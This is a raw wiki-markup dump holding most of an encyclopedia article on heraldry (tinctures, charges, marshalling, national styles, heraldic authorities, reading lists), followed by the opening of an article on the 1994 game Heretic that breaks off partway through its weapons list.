In the late [[Middle Ages]] and [[Renaissance]], heraldry became a highly developed discipline, regulated by professional [[herald]]s.  As its use in jousts became obsolete, arms remained popular for visually identifying a person in other ways &amp;mdash; impressed in [[seal (device)|sealing wax]] on official documents, carved on a family tomb, and so forth.

Throughout the existence of heraldry, coats of arms have been executed in a wide variety of media, including painted wood, [[embroidery]], [[enamel]], stonework and [[stained glass]].  For this reason, and because its original function was quick recognition in the chaotic conditions of battle, heraldry for the most part distinguishes only six [[tincture (heraldry)|tincture]]s (yellow, white, red, blue, black and green; purple is counted in theory but its use in practice is marginal) and makes no fine distinctions in the width or angle of a stripe, the precise size or placement of [[charge (heraldry)|charge]]s on the field, or the number of a lion's claws.  Coats of arms and their accessories are described in a concise jargon called '''[[blazon]]''', which ignores details that do not contribute to quick recognition.

It is sometimes said that each element of a coat of arms has a conventional meaning, that white stands for honour, blue for loyalty and red for courage, and so on.  While the original bearer of a coat may well have had some symbolism in mind, there is no reason to expect consistency from one to the next.  In general it is impossible to say what a given coat of arms &quot;means&quot;, unless (as is often the case) it incorporates a pun on the bearer's name.

The development of portable [[firearm]]s made [[plate armor]] nearly useless, and heraldry, detached from its original function, gradually became more elaborate at the expense of clarity, both in content (e.g. landscapes representing battle sites became frequent in the 18th century) and in presentation (e.g. [[rococo]] frames overwhelmed the content of the shield).  The 20th century's taste for stark iconic emblems made the simple styles of early heraldry fashionable again.

The descent of arms was and remains strictly regulated by inheritance; only certain actual descendents of a particular ''armigerous'' (arms-bearing) person are entitled to his arms or a differenced version of them &amp;mdash; hence popular associations of a coat of arms with all bearers of a surname are based on a misconception. Heraldry is mostly a hobby today; but in some countries (e.g. Scotland) it remains regulated by heralds and the assumption of another's arms is illegal.

The word &quot;crest&quot; is commonly used to refer to a coat-of-arms. However, in heraldry, a [[crest (heraldry)|crest]] is just one component of a complete '''achievement of arms'''. The [[crest (heraldry)|crest]] sits atop a [[helmet]], which itself sits on the main and most recognizable part of the arms, the shield or [[escutcheon]]. Other elements may include [[supporters]] holding up the shield and a [[motto]] beneath. Crests can in fact be used on their own (this is particularly useful when there is insufficient space to display the entire coat-of-arms); but where the shield alone is used it should never be called a &quot;crest&quot;.

==Shield and lozenge==
Traditionally, as women did not go to [[war]], they would not have a shield. Instead, their coats-of-arms would be shown on a [[lozenge]] (a [[rhombus]] standing on one of its acute corners).  As women may now serve in the [[armed forces]] in a number of countries, some [[armiger|armigerous]] women prefer to use a shield anyway. A parallel usage for noncombatant [[clergy]]men could be found sometimes on the [[Europe]]an continent, with the occasional placement of arms on a cartouche (an [[oval]]-shaped vehicle for their display).  For more detail on the use of the lozenge (subject to certain rules) by women in the British heraldic tradition, see the separate article on the [[Lozenge (heraldry)|lozenge]].

Very rarely and almost invariably in non-European contexts, such as the [[Coat of Arms of Nunavut|arms of Nunavut]], the former Republic of [[Bophuthatswana]] [http://www.ngw.nl/int/zaf/prov/bophutsw.htm] and some Algerian civic heraldry of French colonial origin, specific shapes of shield are specified in the blazon (and the specific type of shield is sometimes followed to the extent, as in [http://www.polity.org.za/html/govdocs/misc/gaucoat.html the arms of Gauteng], that structures in the shield (in that case &quot;shield thongs&quot;) function as charges).

In rare instances the shield may be blazoned as being displayed on a ''[[cartouche]]'', the tincture of which is then specified.

&lt;center&gt;&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;10&quot;&gt;
&lt;tr align=&quot;center&quot;&gt;&lt;td colspan=&quot;2&quot;&gt;'''The arms of [[Margaret Thatcher|The Baroness Thatcher of Kesteven]] and the late [[Denis Thatcher|Sir Denis Thatcher, Bt]]'''&lt;/td&gt;&lt;/tr&gt;
&lt;tr align=&quot;center&quot;&gt;&lt;td&gt;[[Image:ThatcherB&amp;W.jpg|The arms of Lady Thatcher]]
&lt;/td&gt;&lt;td&gt;[[Image:THATCHERBT.jpg|The arms of Sir Denis Thatcher]]&lt;/td&gt;&lt;/tr&gt;
&lt;tr align=&quot;center&quot;&gt;&lt;td&gt;''A lozenge, the traditional shape of a woman's coat of arms''&lt;/td&gt;&lt;td&gt;''A shield, traditionally used only by a man''&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;&lt;/center&gt;

==Tinctures==
{|  align=right 
| [[image:tinctures.gif|Table of the tinctures and furs]]
|}
''Main article: [[Tincture (heraldry)|Tincture]]''

The first rule of heraldry is the [[rule of tincture]]: metal (bright tinctures) must never be placed upon metal, nor colour (dark tinctures) upon colour, for the sake of contrast; except where this cannot be avoided, as in the case of a [[charge (heraldry)|charge]] overlying a partition of the field.  Like any rule, this admits some exceptions, the most famous being the arms chosen by [[Godfrey of Bouillon]] when he was made [[kingdom of Jerusalem|king of Jerusalem]], featuring five gold (or yellow) crosses potent on an silver (or white) field &amp;mdash; a design that might have been modelled after the Arab technique of [[Damascus steel]].

The names used in English blazon for the tinctures come mainly from French:

{| class=&quot;wikitable&quot;
! Tincture
! Heraldic name
|- 
!  colspan=2 | ''Metals''
|- 
| Gold/Yellow 
| [[Or (heraldry)|Or]]
|- 
| Silver/White 
| [[Argent]]
|- 
!  colspan=2 | ''Colours''
|- 
| Blue 
| [[Azure]]
|- 
| Red 
| [[Gules]]
|- 
| Black  
| [[Sable (heraldry)|Sable]]
|- 
| Green 
| [[Vert]]
|- 
| Purple 
| [[Purpure]]
|}

A number of other colours are occasionally found, typically for special purposes.  These are discussed in the main article on [[tincture (heraldry)|tincture]]s.

Besides the solid tinctures, certain patterns called [[fur (heraldry)|furs]] function as tinctures.  The two common furs are [[ermine (heraldry)|ermine]] and [[vair]], each of which has several rarer variants.
* ''Ermine'' represents the winter coat of the [[stoat]], which is white with a black tail; the heraldic fur is white with a pattern of black spots, representing a number of skins sewn together.
* ''Vair'' and ''Potent'' represent a kind of squirrel with a blue-gray back and white belly; sewn together it forms a pattern of alternating blue and white shapes.

'''Proper''': [[Charge (heraldry)|Charge]]s such as plants and animals may also be depicted in their natural colours, in which case they are described as ''proper''.  Proper charges are much more frequent as crests and supporters than on the shield.

==Divisions of the field==
''Main article: [[Division of the field|Divisions of the field]]''
[[Image:Divisions of the field.png|200px|right|Division of the field]]

The [[field (heraldry)|field]] of a [[shield]] in [[heraldry]] can be divided into more than one [[tincture (heraldry)|tincture]], as can the various [[charge (heraldry)|charge]]s.  Many coats of arms consist simply of a division of the field into two contrasting [[tinctures]], by a single line or several parallel lines, vertical, horizontal or diagonal, or some combination. Since these are considered divisions of a shield the tincture rules can be ignored. A shield divided azure and gules, for instance, would be acceptable. This is especially true of a shield that is tierced. Arms that are tierced fesswise sable, vert and gules are fine because the shield is considered to have been divided into three rather than having a fess on two background colours. The line or lines of partition may be straight, ''wavy'', ''indented'' (zigzag), ''embattled'' (in the form of [[battlements]]), ''engrailed'' or ''invected'' (scalloped), among other shapes.

==Charges==
''Main article: [[Charge (heraldry)|Charge]]''

Any object found in nature or technology may appear as a charge in armory, and probably has at least once &amp;mdash; albeit more or less stylized.  Charges can be animals, objects or geometric constructs ([[Ordinary (heraldry)|ordinaries]]).  Apart from simple stripes &amp;mdash; some of which probably originated as bands that reinforced the shield and were painted a contrasting color &amp;mdash; the most frequent charges are the [[cross]] (with hundreds of variations) and the [[lion|king of beasts]].

Other common animals are [[fish]], [[martlet]]s, [[eagle]]s, [[griffin]]s, [[boar]]s and [[stag]]s.  [[European dragon|Dragons]], [[unicorn]]s and more exotic monsters appear rarely as charges but more often as [[supporter]]s.  Possibly the rarest animal in heraldry is the [[iguanodon]] supporter of the borough of [[Maidstone]] in [[Kent]].

Animals are found in various stereotyped positions.  [[Quadruped]]s are most often ''rampant'', standing on the left hind foot (or both hind feet depending on the shape of the shield and on local styles), arranged to fill the field and to emphasize distinctive features such as claws and tail.  The next most frequent position is walking (''passant''), like the three lions of the [[Coat of Arms of England|kings of England]].  Eagles are nearly always shown with their wings spread (''displayed'').

Human figures are relatively rare as charges, but appear quite often as supporters.  Human heads, hands and [[heart (symbol)|heart]]s occur more often as charges.  Very many coats of arms in the [[Balkans]] show a mutilated [[Ottoman Empire|Turk]], alluding to a long history of warfare.  &quot;[[Maure|Moor]]'s&quot; heads appear in the arms of [[Sardinia]] and [[Corsica]].

In English heraldry the [[crescent]], [[mullet (heraldry)|mullet]] (a star with straight rays, which originally represented a [[spur]]), [[martlet]], [[annulet (ring)|annulet]], [[fleur-de-lis]] and [[rose]] may be added to a shield to distinguish [[cadency|cadet]] branches of a family from the senior line.  It does not follow, however, that a shield containing such a charge belongs to a cadet branch.  All of these charges occur frequently in basic (''undifferenced'') coats of arms.

== Ordinaries ==
[[Image:Ordinaries.png|200px|right]]

''Main article: [[Ordinary (heraldry)|Ordinary]]''

Ordinaries (sometimes called &quot;honourable ordinaries&quot;) resemble partitions, but are customarily treated like charges; for example, when painted they often cast shadows on the field.  Unless otherwise specified they extend to the edges of the field.  They include:
* ''[[cross]]'';
* ''[[fess]]'': a horizontal stripe;
* ''[[pale (heraldry)|pale]]'': a vertical stripe;
* ''[[bend (heraldry)|bend]]'': a diagonal stripe, beginning at the bearer's upper right, i.e. the viewer's upper left (a stripe the other way is a ''bend sinister'');
* ''[[chief (heraldry)|chief]]'': the upper portion of the field;
* ''[[chevron (insignia)|chevron]]'': an angled stripe with the point upwards, possibly representing the rafters of a house;
* ''[[saltire]]'': a diagonal cross;
* ''[[bordure (heraldry)|bordure]]'': the edge of the field.

Each of the above ordinaries is commonly said to take up one-third of the field in theory, though in practice they are usually made somewhat narrower.

Less widespread are the [[flaunch]]es, [[pall]] and [[pile (heraldry)|pile]] (a tapered pale, pointed at the bottom).  The [[quarter (heraldry)|quarter]], i.e. an upper quadrant of the field, occurs rarely as an ordinary, but its diminished version the [[canton (heraldry)|canton]] is frequently found, usually as a mark of difference; it theoretically occupies the first third of the chief.

Ordinaries may appear in parallel series, in which case English blazon gives them a different name: ''pallets'', ''bars'' (diminutives of the fess), ''bendlets'', ''chevronels''.  French blazon makes no such distinction: ''une fasce, deux fasces''.

Unless otherwise specified an ordinary is drawn with straight lines, but each may be ''indented'' (zigzag), ''embattled'' (like [[battlement]]s), ''wavy'', ''engrailed'' (scalloped with points outward) or ''invected'' (opposite of engrailed), among rarer variants.

==Marshalling==
Two or more coats of arms are often combined in one shield; such combination, called '''marshalling''' may express inheritance from different families, a sovereign's assertion of various claims, or the occupation of an office by a specific person for the time being.  The principal modes of marshalling are:
* by '''impalement''': the shield is divided into right and left halves;
* by '''quartering''': the shield is divided into quadrants;
* with an '''inescutcheon''': a smaller shield appears in front of the main shield.

When more than four coats are to be marshalled, the principle of quartering may be extended to two rows of three (''quarterly of six'') and even further; a few lineages have accumulated hundreds of quarters.  Some traditions have a strong resistance to allowing more than four quarters, and resort instead to subquartering.

Impaled or quartered shield are read by rows, beginning at the dexter chief &amp;ndash; the top right corner of the shield as seen by its holder (the viewer's top left).  The first coat normally represents the highest title claimed, or the paternal inheritance.

== Around the shield ==
[[image:coatarms-labld.png|right|frame|The [[Coat of Arms of Saskatchewan|coat-of-arms of Saskatchewan]], with parts labelled]]

The shield is the core of a composition called the '''achievement''', which may be quite elaborate.

===Helm and crest===
All coats of arms may be displayed with a '''helm''' or helmet, which sits over the shield and carries the '''crest'''.  The form of the helmet may vary with the rank of the armiger.

The '''[[crest (heraldry)|crest]]''' stands atop the helm, usually on a [[torse]] (wreath) of twisted cloth in the two principal colours of the coat of arms, sometimes within a coronet (which is simpler than most coronets of rank).  Often but not exclusively an animal, crests were used to identify a knight at the joust and were, therefore, at first, a sign of the superior rank expected of participants in medieval tournaments.  Since Tudor times, however, crests have been granted with all English coats of arms.  A woman does not display a crest (just as no woman would have fought in a medieval tournament).  The crest rests on the helm, as it would have done in real life, or it may be illustrated directly above the shield without a helm. Crests are often shown alone (without shield or helm) on stationery and the like; the torse or crest-coronet must be included in such display.

The helm if present is always adorned with a '''[[mantling]]''' or '''lambrequin''', originally a cloth worn as partial protection against heating by sunlight.  Typically its outer surface is of the principal colour and the inner of the principal metal of the shield, but in the case of royalty and nobility it is often of gold or scarlet on the outside and ermine inside (blazoned, e.g., ''gules doubled ermine'').  The mantling is conventionally depicted with a ragged edge, as if damaged in combat.

Clergy, like women, and for the same reason (their non-participation in combat), traditionally do not display a helm or crest. Higher clergy, such as bishops or abbots, may display appropriate headwear (the mitre) above the shield, similar to the display by peers of their coronets. Lower clergy often use clerical hats with tassells appropriate to their seniority: this practice began in the Roman Catholic church but was subsequently adopted by some Anglican clergy. The Chief Herald of Ireland has granted Father William Richardson the crest ''A dexter hand couped at the wrist Gules holding a crown of thorns Proper'', but this is often shown beside the shield, the only item above the shield being the historical tasselled hat of a priest.

===Motto===
An armorial [[motto]] is a phrase or collection of words intended to describe the motivation or intention of the armigerous person or corporation, sometimes also forming a pun as in the [[Neville]] motto ''Ne vile velis'' (wish nothing vile).  It is often claimed by members of a family as well.  A motto is a usual component in an achievement of arms, typically on a scroll under the shield, or else above the crest as in Scots heraldry.  A motto may be in any language; [[Latin]] is the most frequent.

===Supporters and other additions===
An armiger may be entitled, depending upon their rank, to several other items:

* Peers of the realm, senior members of British orders of knighthood and some corporate bodies have '''[[supporters]]''' on either side of the shield.  Often these can have local significance (such as the Fisherman and the Tin miner granted to Cornwall County Council) or a historical link (such as the lion of England and unicorn of Scotland on the two variations of the Royal Arms in Great Britain).

* If the bearer has the title of [[baron]] or higher (or hereditary [[knight]] in some countries), he or she may display a '''[[coronet]]''' of rank above the shield, usually below the helm in British heraldry, often above the crest (if any) in Continental heraldry.

* Some orders of knighthood are denoted by a collar or similar band surrounding the shield.  (When the arms of a knight and his wife are shown in one achievement, the insignia of knighthood surround the husband's arms only, and the wife's arms are customarily surrounded by a meaningless ornamental garland of leaves for visual balance.)

* Certain offices of state are denoted by a staff, sceptre or sword, typically shown crossed in saltire behind the shield; the keys of [[Saint Peter]] are shown behind the [[Pope]]'s personal arms, and some bishops have their [[crozier]] (usually vertical).

==National styles==
It is often possible to guess the country of origin of a coat of arms.  Four broad styles are readily distinguished, which we may conveniently call German, Gallo-British, Mediterranean and Eastern.

* [[Chevron (insignia)|Chevrons]] and five-pointed stars are popular in France and Britain, rare elsewhere.
* [[Saltire]]s are most popular in Spain and Scotland.
* A plain field with a charged chief is a typically Scottish composition.
* A shield divided into two dissimilar coats, one above the other, is probably Italian.
* A shield with a checkerboard of tiny coats, with a single coat on a smaller shield in the center, almost certainly belongs to a high-ranking German noble.
* Bordures are much used in Spain and Portugal as a place for charges &amp;ndash; almost a form of marshalling.
* A large fraction of Hungarian arms consist of some animal standing on a green hill against a blue sky. 
* Trees are most often seen in Mediterranean arms.
* A purely geometric coat of arms is relatively unlikely to be Mediterranean (a conspicuous exception being ''Or four pallets gules'' for the [[County of Barcelona]]).
* Crests are often not displayed at all in French and Mediterranean armory, but very important in Germany.  A shield with three or more crested helms is usually German.  Certain types of crests, too, are typically German, such as a pair of horns or a tall hat in the tinctures of the shield.

==Modern heraldry==
Heraldry continues to flourish today. Institutions, companies, and members of the public may obtain officially recognized coats of arms from governmental heraldic authorities. This typically has the force of a registered trademark. The first recorded corporate coat of arms was granted to the [[Worshipful Company of Drapers|Drapers' Company]] of the [[City of London]] in [[1438]] (see [[Coat of Arms of The Drapers Company]]). However, many users of modern &quot;heraldic&quot; designs do not register with heraldic authorities, and some designers do not follow the rules of heraldic design at all.

In Scotland the control of heraldry is fully legal and the [[Lord Lyon, King of Arms]] retains powers (including imprisonment, fines and defacing bogus arms) which he does not hesitate to use. His office has no equivalent in England, is pre-heraldic and is closer to that of the [[Earl Marshall]] than that of [[Garter King of Arms]].

Other active heraldic authorities include: 
Cronista Rey de Armas (Spain).
the [[Chief Herald of Ireland]];
the [[Canadian Heraldic Authority]].

Some people who have interests in heraldry as a hobby participate in the [[Society for Creative Anachronism]] and other such medieval revivals, or in [[micronationalism]]. Many more people see  heraldry as a part of their national, and even personal, heritage, as well as a manifestation of civic and national pride.

==Suggested Reading==

===General===

*Friar, Stephen &amp; John Ferguson. ''Basic Heraldry''. New York: Norton, 1993.
*Parker, James. ''A Glossary of Terms Used in Heraldry''. New ed. Oxford: James Parker &amp; Co., 1894 (Newton Abbot: David &amp; Charles, 1970).
*Woodcock, Thomas &amp; John Martin Robinson. ''The Oxford Guide to Heraldry''. New York: Oxford University Press, 1988.

===Great Britain===

*Bedingfeld, Henry &amp; Peter Gwynn-Jones. ''Heraldry''. Secaucus, NJ: Chartwell Books, 1993.
*Boutell, Charles. ''Boutell’s Heraldry''. New York: Frederick Warner, 1983. Revised by J. P. Brooke-Little from the 1891 edition. Boutell's ''Manual of Heraldry'' was first published in 1863.
*Burke, John Bernard. ''The General Armory of England, Scotland, Ireland and Wales; Comprising a Registry of Armorial Bearings from the Earliest to the Present Time''. London: Burke’s Peerage, 1884 (Baltimore: Genealogical Publishing Co., 1967). Reprint of the last edition.
*Dennys, Rodney. ''The Heraldic Imagination''. New York: Clarkson N. Potter, 1975. Artistic aspects of heraldry.
*Elvin, Charles N. ''Elvin’s Handbook of Mottoes''. 2d ed. Revised with Supplement and Index by R. Pinches. London: Heraldry Today, 1971. Originally published in 1860.
*Fairbairn, James. ''Fairbairn’s Crests of the Families of Great Britain &amp; Ireland''. 2v. Revised ed. New York: Heraldic Publishing Co., 1911 (New York: Bonanza Books, 1986 in 1 vol.). Originally published 1800.
*Hasler, Charles. ''The Royal Arms, Its Graphic and Decorative Development''. London: Jupiter Books, 1980. Artistic aspects and commercial treatments.
*Humphrey-Smith, Cecil. ''Anglo-Norman Armory''. Canterbury: Family History, 1973.
*Franklyn, Julian. ''Shield and Crest: An Account of the Art and Science of Heraldry''. 3d ed. London: Macgibbon &amp; Kee, 1967. Textbook for the author's two-year course in heraldry at the City Literary Institute in London.
*Friar, Stephen. ''Heraldry for the Local Historian and Genealogist''. (History Handbooks series) Phoenix Mill, Gloucs., UK: Sutton Publishing, 1997
*Palliser, Bury (Mrs.). ''Historic Devices, Badges, and War-Cries''. London: Sampson Low, 1870 (Detroit: Gale Research Co., 1971).
*Paul, James Balfour. ''An Ordinary of Arms Contained in the Public Register of All Arms and Bearings in Scotland''. 2d ed. Edinburgh: W. Green &amp; Sons, 1903.
*Pinches, J. H. &amp; R. V. ''The Royal Heraldry of England''. London: Heraldry Today, 1974.
*Wagner, Sir Anthony R. ''Heralds of England: A History of the Office and College of Arms''. London: HMSO, 1967.
*Wagner, Sir Anthony R. ''Historic Heraldry of Britain''. London: Oxford University Press, 1939 (London: Phillimore &amp; Co, 1972). College of Arms exhibit at the New York World's Fair of 1939.
*Woodcock, Thomas &amp; John Martin Robinson. ''Heraldry in Historic Houses of Great Britain''. New York: Abrams, for the National Trust, 2000.

===Continental===

*Le Févre, Jean. ''A European Armorial: An Armorial of Knights of the Golden Fleece and 15th Century Europe''. (Edited by Rosemary Pinches &amp; Anthony Wood) London: Heraldry Today, 1971.
*Louda, Jiří. ''Heraldry of the Royal Families of Europe''. New York: Clarkson Potter, 1981.  Reprinted as ''Lines of Succession'' (London: Orbis, 1984).
*Pinches, J. H. ''European Nobility and Heraldry: A Comparative Study of the Titles of Nobility and their Heraldic Exterior Ornaments for each Country, with Historical Notes''. Ramsbury, Wiltshire: Heraldry Today, 1994.
*Rietstap, Johannes B. ''Armorial General''. 2v. The Hague: M. Nijhoff, 1904-26 (Baltimore: Genealogical Publishing Co., 1967).
**Rolland, V. &amp; H. V. ''Supplement to Rietstap’s Armorial General''. 2d ed. 9v. London: Heraldry Today, 1969.
**Rolland, V. &amp; H. V. ''Illustrations to the Armorial General''. 6v. The Hague: M. Nijhoff, 1903-26.
*Siebmacher, Johann. J. ''Siebmacher’s Grosses und Allgemeines Wappenbuch . . . Vermehrten Auglage''. 137v. (total). Nürnberg: Von Bauer &amp; Raspe, 1890-1901.
*Volborth, Carl-Alexander von. ''Heraldry: Customs, Rules and Styles''. London: Blandford Press, 1981.

==See also==
*[[Academie Internationale d'Heraldique]]
*[[American Heraldry Society]]
*[[Armory (heraldry)]]
*[[Cadency]]
*[[Canadian Heraldic Authority]]
*[[Chivalry]]
*[[Chief Herald of Ireland]]
*[[College of Arms]]
*[[Court of Chivalry]]
*[[Crest (heraldry)]]
*[[Heraldic badge]]
*[[The Heraldry Society (New Zealand Branch)]]
*[[The Heraldry Society]]
*[[Heraldry Society of Scotland|The Heraldry Society of Scotland]]
*[[List of coats of arms]]
*[[Lord Lyon King of Arms]]
*[[Mon (badge)|Mon]] ([[Japan]]ese heraldry)
*[[Officer of Arms]]
*[[Polish Heraldry]]
*[[The Royal Heraldry Society of Canada]]
*[[Sashimono]]
*[[Serbian Genealogical Society]]
*[[Time immemorial]]
*[[UK topics]]
*[[United States Army Institute of Heraldry]]
*[[Women in heraldry]]
*[[Coat of Arms]]
*[[List of academic coats of arms]]
*[[Vexillology]]

==External links==
{{commonscat|Coats of arms}}
===Authorities===
* [http://www.gg.ca/heraldry/index_e.asp The Canadian Heraldic Authority]
* [http://www.college-of-arms.gov.uk/ The College of Arms]
* [http://www.lyon-court.com The Court of the Lord Lyon]
* [http://www.dpmc.govt.nz/honours/overview/herald-of-arms.html New Zealand Herald of Arms Extraordinary]
* [http://www.nli.ie/fr_offi.htm The Office of the Chief Herald of Ireland]
* [http://www.tioh.hqda.pentagon.mil/ The United States Army Institute of Heraldry]

===Societies===
* [http://www.groups.yahoo.com/group/HeraldryAustralia/ Heraldry Australia Inc.]
* [http://www.theheraldrysociety.com/ The Heraldry Society]
* [http://www.heraldrysociety.us/index.php The American Heraldry Society]
* [http://www.amateurheralds.org/  The International Association of Amateur Heralds (IAAH)]
* [http://www.americancollegeofheraldry.org/ The American College of Heraldry (Chartered non-profit, not a state authority)]
* [http://www.heraldry-scotland.co.uk/ The Heraldry Society of Scotland]
* [http://www.heraldry.ca/index_en_nocount.html The Royal Heraldry Society of Canada]
* [http://www.geocities.com/heraldry_society The Heraldry Society (New Zealand Branch) Inc]
* [http://www.sca.org/heraldry/primer/ A Heraldic Primer (Society for Creative Anachronism)]
* [http://www.rodoslovlje.com/ Serbian Genealogical Society]
* [http://www.heraldika.org.mk/ Macedonian Heraldry Society]
* [http://www.ngw.nl/ International Civic Heraldry]
* [http://www.czipm.org/heraldika.html Board for Heraldic and Genealogical Studies - Center for Research of Orthodox Monarchism]
* [http://www.russiancollegeofheraldry.org The Russian College of Heraldry]
* [http://www.armorial.ru The Russian Heraldry Society]
* [http://www.ahn-cr.info/ The Academy of Heraldic Science Czech republic]

===Heraldry-generating software===
* [http://petebarrett.members.beeb.net/blazon.htm Blazon (non commercial)]

===Other===
* [http://www.brasoes.com/ Brazil Heraldry]
* [http://www.briantimms.com Studies in Heraldry. A wide ranging site, dealing with many aspects of heraldry, including French Civic Heraldry, Medieval Rolls of Arms, Pub Signs, Cigarette Cards, and much else]
* [http://www.blason-armoiries.org Large illustrated armorial about french and european families and glossary (french)]
* [http://www.kuruvinda.com/armorial.php Rietstap's Armorial General - over 130,000 fully searchable names and blazons (Subscription based)]
* [http://www.heraldica.org Heraldica]
* [http://www.footballcrests.com/ FootballCrests.com - The history and meaning of football (soccer) club crests from around the world]
* [http://makepeace.ca/nehgs/ Committee on Heraldry of the New England Historic Genealogical Society]
* [http://www.scotcourts.gov.uk/admin/scadmin_2.htm#seven Scotscourts.gov.uk]
* [http://makepeace.ca/vhr/ Page on the Flemish Heraldic Council]
* [http://www.heraldry-scotland.co.uk/Lyoncourt.htm Page on the Lyon Court]
* [http://www.electricscotland.com/webclans/lord_lyon.htm Page on the Lyon Court]
* [http://freepages.history.rootsweb.com/~amateurheralds/page_sa_boh.html Page on the South African Bureau of Heraldry]
* [http://www.maltagenealogy.com/malteseheraldry/maltaheraldry.htm/ Maltese Heraldry]
* [http://www.heraldry.ws/ Information on the customs and practices of Heraldry and contemporary Heraldry]
* [http://www.heraldry.org.uk/ Heraldry; Coats of Arms and Crests]
* [http://penelope.uchicago.edu/~grout/encyclopaedia_romana/britannia/anglo-saxon/flowers/heraldry.html James Grout: ''Heraldry'', part of the Encyclopædia Romana]
* [http://www.btinternet.com/~paul.j.grant/guillim/ A DISPLAY OF HERALDRIE: by John Guillim (c1551 - 1621) being a complete transcription of the first edition (1610) of this work]
* [http://www.heraldsnet.org/saitou/parker/|''A Glossary of Terms used in Heraldry''] by James Parker, first published in 1894

{{heraldry}}
{{blazon}}
{{nationalflags}}

==Note==
# One possible exception might be the arms of the University of Northern British Columbia.[http://www.unbc.ca/communications/identity/coat_of_arms.html]

[[Category:Heraldry| ]]
[[Category:National symbols]]

{{Link FA|fr}}

[[bg:Хералдика]]
[[be:Геральдыка]]
[[ca:Heràldica]]
[[cs:Heraldika]]
[[da:Heraldik]]
[[de:Heraldik]]
[[et:Heraldika]]
[[es:Heráldica]]
[[eo:Heraldiko]]
[[fr:Héraldique]]
[[gl:Heráldica]]
[[he:הרלדיקה]]
[[ia:Heraldica]]
[[it:Araldica]]
[[lv:Heraldika]]
[[nl:Heraldiek]]
[[ja:紋章学]]
[[no:Heraldikk]]
[[pl:Heraldyka]]
[[pt:Heráldica]]
[[ru:Геральдика]]
[[sl:Heraldika]]
[[sr:Хералдика]]
[[fi:Heraldiikka]]
[[sv:Heraldik]]
[[zh:紋章學]]</text>
    </revision>
  </page>
  <page>
    <title>Heretic (video game)</title>
    <id>13611</id>
    <revision>
      <id>42043161</id>
      <timestamp>2006-03-03T12:01:23Z</timestamp>
      <contributor>
        <ip>69.139.77.86</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">{{Infobox CVG| title = Heretic
| image = 
| developer = [[Raven Software]]
| publisher = [[id Software]], [[GT Interactive]]
| designer =
| engine = [[Doom engine]]
| released = [[December 23]], [[1994]]
| genre = [[First-person shooter]]
| modes = [[Single player]], [[Multiplayer]] 2-4 player [[deathmatch]] or [[cooperative]] 
| ratings = [[ESRB]]: Mature (M)
| platforms = [[IBM PC compatible|PC]], [[Apple Macintosh|Mac]]
| media = 
| requirements =
| input = [[computer keyboard|Keyboard]], [[mouse (computing)|Mouse]]
}}
'''''Heretic''''' is a [[fantasy]] [[first-person shooter]] [[Computer and video games|computer game]] created by [[Raven Software]], published by [[id Software]], and distributed by [[GT Interactive]] in 1994.

Using a modified ''[[Doom]]'' engine, Heretic was one of the first first-person games to feature inventory manipulation and the ability to look up and down. It also introduced multiple [[gibs|gib]] objects spawned when a character suffered a death by extreme force or heat. Previously, the character simply crumpled into a heap of jumbled body parts. It's notable that besides background music, the game also used randomized ambient sounds and noises to further enhance the atmosphere, such as evil laughter, chains rattling, water dripping, etc. All music in the game was composed by [[Kevin Schilder]].

The original version of ''Heretic'' had three unlinked episodes, but a stand-alone special edition, Heretic: Shadow of the Serpent Riders, was also available, featuring two additional episodes.
The Episodes in the original are '''the City of the Damned''', where the player has to go through an abandoned ancient city overrun by monsters, '''Hell's Maw''', which is set in Hell, and '''the Dome of D'Sparil''', which is set in a city at the bottom of the ocean, protected by gigantic crystal domes. The two extra episodes are '''the Ossuary''' and '''the Stagnant Demesne'''.

'''The [[Ossuary]]''' takes the player to the shattered remains of a world conquered by the Serpent Riders centuries ago. '''The Stagnant [[Demesne]]''' is the final episode where the player enters D'Sparil's home stronghold - the very pit he was spawned. The heretic seeks to find a way out, yet D'Sparil's personal guards are out to kill him. That fifth episode was designed to be the hardest episode of the game.

The first sequel, ''[[HeXen]]'', which also used a modified ''Doom'' engine, was released about a year after ''Heretic'' in 1995. The next game in the ''HeXen''/''Heretic'' universe, ''[[HeXen II]]'', was released in 1997 and was based on a modified ''[[Quake]]'' engine. Later in 1998, ''[[Heretic II]]'' was released, using a modified [[Quake II]] engine.

In early 1999, the [[source code]] of Heretic was published by Raven Software. This resulted in ports of Heretic to [[Linux]] and other operating systems, and updates to the Heretic engine which utilized 3D acceleration.



== Weapons ==
The game has 8 weapons in all, each of which has an alternate powered up mode activated by the the Tome of Power item. The weapons are;

1 - '''Staff/Gauntlets of the Necromancer'''; the staff is made of wood and is used to &quot;poke&quot; enemies, hardly doing any damage.
Gauntlests have a green electricity-like discharge coming off their fingers when attacking, doing slightly more damage then Staff and at encreased range. Neither requires any ammunition.
*Powered: When under the influence of a Tome of Power artifact, the Staff is electrified, does more damage, and has knockback. The Gauntlets' electrical charge changes its color to red and does more damage, and drains health points from the enemy transferring them to the player.
2 - '''Elven Wand'''; a staff topped with a magical crystal that shoots weak projectiles at slow rate, manifested by a gold-colored &quot;spark&quot; at the point of impact.
*Powered: Shoots out several yellow crystal-like projectiles that do more damage.
*Ammo: wand crystal (small), crystal geode (large)
3 - '''Ethereal Crossbow'''; more powerful weapon, shooting green &quot;ethereal&quot; arrows traveling in threes.
*Powered: Shoots multiple (4 or 5) heavy ethereal arrows for a wider coverage and more damage.
*Ammo: ethereal arrow (small), quiver of ethereal arrows (large)
4 - '''Dragon Claw'''; a small helmet-like item worn of the fist with claws mounted on its top, that shoots projectiles at high rate manifested by a blue-colored &quot;spark&quot; at the point of impact.
*Powered: Shoots out more powerful blue projectiles, which, on impact, release multiple spiked metal orbs, which deal considerabl damage.
*Ammo: Claw orb (small), Energy orb (large)
5 - '''Hellstaff'''; a staff topped with a horned skull that shoots red projectiles at high rate, doing more damage then Dragon Claw and also unlike Dragon Claw posessing some stopping power.
*Powered: Releases a single projectile. Upon impact, it unleashes a &quot;rain&quot; of red sparks, which do heavy damage on anything below (exception: Maulotaurs).
*Ammo: lesser runes (small), greater runes (large)
6 - '''Phoenix Rod'''; a golden staff topped with a phoenix-like design, shoting a fiery, smoking, moderately fast projectile that explodes upon impact into a phoenix-like shape. Pushes player back when used.
*Powered: Turns into a &quot;flamethrower&quot;. Launches a steady stream of flame that causes tremendous damage.
*Ammo: phoenix orb (small), Inferno orb (large)
7 - '''Firemace'''; a mace-like staff that shoots exploding canonball-like projectiles at high rate.
